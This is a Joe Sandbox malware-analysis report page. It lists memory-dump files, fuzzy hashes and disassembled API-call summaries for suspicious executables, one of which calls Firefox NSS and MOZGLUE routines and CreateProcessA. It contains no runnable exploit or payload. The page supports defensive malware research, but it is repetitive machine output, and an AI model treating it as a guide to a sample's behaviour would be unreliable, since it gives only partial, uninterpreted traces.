Associated: 00000003.00000002.2586033571.0000000000C4B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586058130.0000000000C4E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586086049.0000000000C5F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586111908.0000000000C60000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586135974.0000000000C61000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586161505.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586188504.0000000000C71000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586214117.0000000000C74000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586242424.0000000000C7C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586271640.0000000000C81000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586302474.0000000000C91000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586326092.0000000000C93000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586353324.0000000000C9A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586379535.0000000000C9D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586409029.0000000000CAD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586441839.0000000000CAE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586487233.0000000000CF2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586512387.0000000000CF3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586540113.0000000000CFB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586540113.0000000000D03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586592651.0000000000D12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586619977.0000000000D14000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a60000_DZKPIL2C5DR0YB6M.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 38c155d42f8441d7b287a0714835efbd9a28cfb1c454c8b6d9f0c7a105e65f31
Instruction ID: 769b41a7dd67d134f54f45c86dbbb9111529574499634360c2d20066c4270301
Opcode Fuzzy Hash: 38c155d42f8441d7b287a0714835efbd9a28cfb1c454c8b6d9f0c7a105e65f31
Instruction Fuzzy Hash: D7F04FB120C100EFD7105F19EC85FBABBF9EB98710F148929EAC582700E2368D229A57

Function 00A6ED46 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 00A6ED48

Memory Dump Source

Source File: 00000003.00000002.2585115525.0000000000A6A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000003.00000002.2585036375.0000000000A60000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585063808.0000000000A62000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585089183.0000000000A66000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585141849.0000000000A74000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585166320.0000000000A75000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585191380.0000000000A76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585304190.0000000000BCE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585334895.0000000000BD0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585370579.0000000000BE7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585400058.0000000000BE8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585425207.0000000000BE9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585425207.0000000000BF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585476637.0000000000BFC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585503155.0000000000BFE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585528420.0000000000C07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585555315.0000000000C0B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585580615.0000000000C0C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585605365.0000000000C0D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585636362.0000000000C20000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585661004.0000000000C21000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585686772.0000000000C24000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585712578.0000000000C25000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585738544.0000000000C26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585762449.0000000000C27000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585786930.0000000000C2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585942015.0000000000C38000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585983016.0000000000C42000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586007254.0000000000C44000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586033571.0000000000C4B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586058130.0000000000C4E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586086049.0000000000C5F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586111908.0000000000C60000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586135974.0000000000C61000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586161505.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586188504.0000000000C71000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586214117.0000000000C74000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586242424.0000000000C7C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586271640.0000000000C81000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586302474.0000000000C91000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586326092.0000000000C93000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586353324.0000000000C9A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586379535.0000000000C9D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586409029.0000000000CAD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586441839.0000000000CAE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586487233.0000000000CF2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586512387.0000000000CF3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586540113.0000000000CFB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586540113.0000000000D03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586592651.0000000000D12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586619977.0000000000D14000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a60000_DZKPIL2C5DR0YB6M.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: fb2f899e5eb6832aec6c0f588b9e432bfc2c247deeda6c102cdd6fd08fb9468e
Instruction ID: ca1ff784f77040da9d1fa3392995aca9e2d6950005ff491eb24ac0e0a5e8145d
Opcode Fuzzy Hash: fb2f899e5eb6832aec6c0f588b9e432bfc2c247deeda6c102cdd6fd08fb9468e
Instruction Fuzzy Hash: D7C0027594550E8BDB505F74840C3CE3A30EF05322F100711AC2285AC5E6624D209A29

Non-executed Functions

Function 00C002B0 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2585503155.0000000000BFE000.00000040.00000001.01000000.00000006.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000003.00000002.2585036375.0000000000A60000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585063808.0000000000A62000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585089183.0000000000A66000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585115525.0000000000A6A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585141849.0000000000A74000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585166320.0000000000A75000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585191380.0000000000A76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585304190.0000000000BCE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585334895.0000000000BD0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585370579.0000000000BE7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585400058.0000000000BE8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585425207.0000000000BE9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585425207.0000000000BF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585476637.0000000000BFC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585528420.0000000000C07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585555315.0000000000C0B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585580615.0000000000C0C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585605365.0000000000C0D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585636362.0000000000C20000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585661004.0000000000C21000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585686772.0000000000C24000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585712578.0000000000C25000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585738544.0000000000C26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585762449.0000000000C27000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585786930.0000000000C2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585942015.0000000000C38000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585983016.0000000000C42000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586007254.0000000000C44000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586033571.0000000000C4B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586058130.0000000000C4E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586086049.0000000000C5F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586111908.0000000000C60000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586135974.0000000000C61000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586161505.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586188504.0000000000C71000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586214117.0000000000C74000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586242424.0000000000C7C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586271640.0000000000C81000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586302474.0000000000C91000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586326092.0000000000C93000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586353324.0000000000C9A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586379535.0000000000C9D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586409029.0000000000CAD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586441839.0000000000CAE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586487233.0000000000CF2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586512387.0000000000CF3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586540113.0000000000CFB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586540113.0000000000D03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586592651.0000000000D12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586619977.0000000000D14000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a60000_DZKPIL2C5DR0YB6M.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bcbf64e76bf3665bc977ef3085d17ea9b25fda4763646abf17b20611e57a0ca
Instruction ID: c5258270a2ac98d7c5ad34d53774a2c66b575e53d5898db8ba1567e0ca64d793
Opcode Fuzzy Hash: 4bcbf64e76bf3665bc977ef3085d17ea9b25fda4763646abf17b20611e57a0ca
Instruction Fuzzy Hash: F10142B280021ACEEB04CF45C108AABB7B4FF89360F1682A9D80A5BB50D3746CD4CF49

Function 00BFF32A Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2585503155.0000000000BFE000.00000040.00000001.01000000.00000006.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000003.00000002.2585036375.0000000000A60000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585063808.0000000000A62000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585089183.0000000000A66000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585115525.0000000000A6A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585141849.0000000000A74000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585166320.0000000000A75000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585191380.0000000000A76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585304190.0000000000BCE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585334895.0000000000BD0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585370579.0000000000BE7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585400058.0000000000BE8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585425207.0000000000BE9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585425207.0000000000BF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585476637.0000000000BFC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585528420.0000000000C07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585555315.0000000000C0B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585580615.0000000000C0C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585605365.0000000000C0D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585636362.0000000000C20000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585661004.0000000000C21000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585686772.0000000000C24000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585712578.0000000000C25000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585738544.0000000000C26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585762449.0000000000C27000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585786930.0000000000C2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585942015.0000000000C38000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585983016.0000000000C42000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586007254.0000000000C44000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586033571.0000000000C4B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586058130.0000000000C4E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586086049.0000000000C5F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586111908.0000000000C60000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586135974.0000000000C61000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586161505.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586188504.0000000000C71000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586214117.0000000000C74000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586242424.0000000000C7C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586271640.0000000000C81000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586302474.0000000000C91000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586326092.0000000000C93000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586353324.0000000000C9A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586379535.0000000000C9D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586409029.0000000000CAD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586441839.0000000000CAE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586487233.0000000000CF2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586512387.0000000000CF3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586540113.0000000000CFB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586540113.0000000000D03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586592651.0000000000D12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586619977.0000000000D14000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a60000_DZKPIL2C5DR0YB6M.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 789cac9dab5c623f4871980546cdbb503442ba83ceb012a7a8ca9db346c7c4c5
Instruction ID: 77f67e03f48335d4c48033fbfe7a868a8b1efde987a840bdc42c6a38cbf8999e
Opcode Fuzzy Hash: 789cac9dab5c623f4871980546cdbb503442ba83ceb012a7a8ca9db346c7c4c5
Instruction Fuzzy Hash: 0EC08CB195C3BB28D712917188A273C24809F62750F2480FA6242AB1C2C015D40FA15B

Analysis Process: NTJ5FCNZGEJS945U0MUPLHRT.exePID: 2224, Parent PID: 5584COMMON

Non-executed Functions

Function 6CAB3FC0 Relevance: 70.5, APIs: 37, Strings: 3, Instructions: 485stringprocessCOMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000008), ref: 6CAB3FD5
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CAB3FFE
malloc.MOZGLUE(-00000003), ref: 6CAB4016
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,6CAEFC62), ref: 6CAB404A
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CAB407E
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CAB40A4
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CAB40D7
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CAB4112
malloc.MOZGLUE(00000000), ref: 6CAB411E
__p__environ.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0 ref: 6CAB414D
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CAB4160
free.MOZGLUE(?), ref: 6CAB416C
malloc.MOZGLUE(?), ref: 6CAB41AB
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,NSPR_INHERIT_FDS=,00000011), ref: 6CAB41EF
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,00000004,6CAB4520), ref: 6CAB4244
GetEnvironmentStrings.KERNEL32 ref: 6CAB424D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAB4263
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAB4283
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAB42B7
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAB42E4
malloc.MOZGLUE(00000002), ref: 6CAB42FA
FreeEnvironmentStringsA.KERNEL32(?), ref: 6CAB4342
GetStdHandle.KERNEL32(000000F6), ref: 6CAB43AB
GetStdHandle.KERNEL32(000000F5), ref: 6CAB43B2
GetStdHandle.KERNEL32(000000F4), ref: 6CAB43B9
FreeEnvironmentStringsA.KERNEL32(?), ref: 6CAB4403
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CAB4410

Part of subcall function 6CA4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA4C2BF

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,00000044,?), ref: 6CAB445E
CloseHandle.KERNEL32(?), ref: 6CAB446B
free.MOZGLUE(?), ref: 6CAB4482
free.MOZGLUE(00000000), ref: 6CAB4492
free.MOZGLUE(00000000), ref: 6CAB44A4
GetLastError.KERNEL32 ref: 6CAB44B2
PR_SetError.NSS3(FFFFE896,00000000), ref: 6CAB44BE
free.MOZGLUE(?), ref: 6CAB44C7
free.MOZGLUE(00000000), ref: 6CAB44D5
free.MOZGLUE(00000000), ref: 6CAB44EA

Strings

D, xrefs: 6CAB4396
=, xrefs: 6CAB44F8
NSPR_INHERIT_FDS=, xrefs: 6CAB41E9

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: free$Errormallocstrlen$Handle$EnvironmentStringsmemset$Free$CloseCreateLastProcessValue__p__environqsortstrncmpstrpbrk
String ID: =$D$NSPR_INHERIT_FDS=
API String ID: 3116300875-3553733109
Opcode ID: 84ff1766994b1f25c90b18818f6b9ec1e5ef9b416e169fa956fc68b8e04f5e44
Instruction ID: 73d703fcf15bb818d8f3d145a6bf90e2a692aa4c447de78789c9db3a92d9e891
Opcode Fuzzy Hash: 84ff1766994b1f25c90b18818f6b9ec1e5ef9b416e169fa956fc68b8e04f5e44
Instruction Fuzzy Hash: FB02F670E043559FEB10DF69D8447AEBBBCAF06308F284128DC69B7B42D771A895CB91

Function 6CA04840 Relevance: 63.4, APIs: 29, Strings: 7, Instructions: 351memorystringCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,00000000,?,?,6C9E601B,?,00000000,?), ref: 6CA0486F
PORT_ArenaAlloc_Util.NSS3(00000000,00000001,?,?,?,?,?,00000000), ref: 6CA048A8
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,?,00000000), ref: 6CA048BE
NSSUTIL_ArgSkipParameter.NSS3(?,?,?,?,?,00000000), ref: 6CA048DE
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00000000), ref: 6CA048F5
NSSUTIL_ArgSkipParameter.NSS3(00000000,?,?,?,?,?,?,00000000), ref: 6CA0490A
PORT_ZAlloc_Util.NSS3(?,?,?,?,?,?,00000000), ref: 6CA04919
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,00000000), ref: 6CA0493F
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA04970
PORT_Alloc_Util.NSS3(00000001), ref: 6CA049A0
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CA049AD
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA049D4
NSSUTIL_ArgFetchValue.NSS3(00000001,?), ref: 6CA049F4
NSSUTIL_ArgDecodeNumber.NSS3(00000000), ref: 6CA04A10
NSSUTIL_ArgParseSlotFlags.NSS3(slotFlags,00000000), ref: 6CA04A27
NSSUTIL_ArgReadLong.NSS3(timeout,00000000,00000000,00000000), ref: 6CA04A3D
NSSUTIL_ArgGetParamValue.NSS3(askpw,00000000), ref: 6CA04A4F
PL_strcasecmp.NSS3(00000000,every), ref: 6CA04A6C
PL_strcasecmp.NSS3(00000000,timeout), ref: 6CA04A81
free.MOZGLUE(00000000), ref: 6CA04AAB
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6CA04ABE
PL_strncasecmp.NSS3(00000000,hasRootCerts,0000000C), ref: 6CA04ADC
free.MOZGLUE(00000000), ref: 6CA04B17
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6CA04B33

Part of subcall function 6CA04120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA0413D
Part of subcall function 6CA04120: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CA04162
Part of subcall function 6CA04120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA0416B
Part of subcall function 6CA04120: PL_strncasecmp.NSS3(6CA04232,?,00000001), ref: 6CA04187
Part of subcall function 6CA04120: NSSUTIL_ArgSkipParameter.NSS3(6CA04232), ref: 6CA041A0
Part of subcall function 6CA04120: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA041B4
Part of subcall function 6CA04120: PL_strncasecmp.NSS3(00000000,0000003D,?), ref: 6CA041CC
Part of subcall function 6CA04120: NSSUTIL_ArgFetchValue.NSS3(6CA04232,?), ref: 6CA04203

PL_strncasecmp.NSS3(00000000,hasRootTrust,0000000C), ref: 6CA04B53
free.MOZGLUE(00000000), ref: 6CA04B94
free.MOZGLUE(?), ref: 6CA04BA7
free.MOZGLUE(00000000), ref: 6CA04BB7
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA04BC8

Strings

every, xrefs: 6CA04A66
hasRootTrust, xrefs: 6CA04B4D
timeout, xrefs: 6CA04A38, 6CA04A7B
askpw, xrefs: 6CA04A4A
rootFlags, xrefs: 6CA04AB9, 6CA04B2E
hasRootCerts, xrefs: 6CA04AD6
slotFlags, xrefs: 6CA04A22

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
